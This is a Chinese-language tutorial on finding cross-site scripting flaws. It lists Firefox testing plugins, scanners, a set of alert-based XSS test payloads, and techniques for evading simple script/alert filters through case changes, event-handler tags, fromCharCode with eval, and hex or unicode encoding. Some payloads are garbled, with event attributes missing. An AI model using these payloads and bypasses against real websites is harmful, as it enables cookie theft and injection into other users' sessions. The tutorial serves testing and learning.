xss漏洞普遍存在于数据交互的地方,像常见的登录,搜索,留言,评论等用户可以输入的地方。
挖掘xss大体上可以分为两种:
一,手动挖掘
二,利用工具自动化挖掘
一,手工挖掘
利用火狐中常见的XSS 调试插件:
Hackbar;
Firebar;
Tamper Data;
(1)Hackbar:比较常用的测试插件,支持post,get两种请求方式。
(1),可以对我们的字符串进行编码:像常见的<script>alert(/xss/)</script>
将其中的经过编码后就是String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62)
(2),将编码转成html格式
(3),就是将alert中的(xss)进行编码 ,能有效过滤掉单引号之类的限制。
(2),firebug
在页面上右击点击审查元素即可进入firebug,找到测试点后,右击编辑html即可写入测试代码,比如我们想获取当前页面的cookie:<script>alert(document.cookie)</script>
即可弹出当前页面cookie值
(3),tamper data :一款类似于burpsuite的抓包工具,抓包之后可以进行改包进行xss调试。
有些xss存在于HTML标签里面,在测试xss时要去闭合HTML标签达到执行,比如存在于文本域<textarea>
中我们要去构造<textarea><script>alert(xss)</script></textarea>
尝试去闭合这个标签达到执行。
整理了几个手工xss测试的playload:
<script>alert(1)</script>
"><script>alert(1)</script>
<img/src=@ alert(1)/>
"><img/src=@ alert(1)/>
'alert(1)x='
"alert(1)x="
javascript:alert(1)//
";alert(1)//
</script><script>alert(1)//
alert(1)//
工具挖掘xss漏洞常见的有:
awvs
APPscan
burp
xsser
OWASP Xenotix
前三个都是web漏洞主流扫描工具,而后两个是针对xss漏洞加载playload进行暴力破解的其中OWASP Xenotix是测试xss的神器,后续会介绍它的具体用法,其他扫描器相应的教程都能找到。
绕过方法
:
常见的防xss代码
$x=preg_repalce("/script/",’’’’, $x)
$x=preg_repalce("/script/i",’’’’, $x)
$x=preg_repalce("/alert/i",’’’’, $x)
第一个意思就是当检测到script这个字段时就会替换为空值。但是他没有限制大小写,我们可以用大小写进行替换绕过比如:<sCript>alert(/xss/)</Script>
即可绕过
第二个在代码后加了个i意思是不区分大小写。这个我们可以采用其他标签比如<img
src=1 "alert(/xss/)">
(这里有onerror显示不出来) 或者采用body标签 <body alert(/xss/)>
(这里的onload显示不出来)即可绕过。
第三种是将alert标签替换,并且不区分大小写,这样就没办法使用alert了,我们可以用它的代码执行对它进行编码,方法:先选中alert(/xss/),然后使用hackbar中的string,fromcharcode也就是第一个选项对它进行编码,然后调用eval+(字符串),如<body eval(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62))">.来进行绕过。
编码
:我们可以对我们的语句进行hex编码来绕过xss规则,比如<script>alert(/xss/)
</script
>可 以转化为:%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%78%73%73%2F%29%3C%2F%73%63%72%69%70%74%3E 都有在线工具提供。
"<>"的转义 \u003c,\u003e就是一个对括号 可以构造:\u003cscript\u003ealert(/xss/)\u003c/scriptu003e.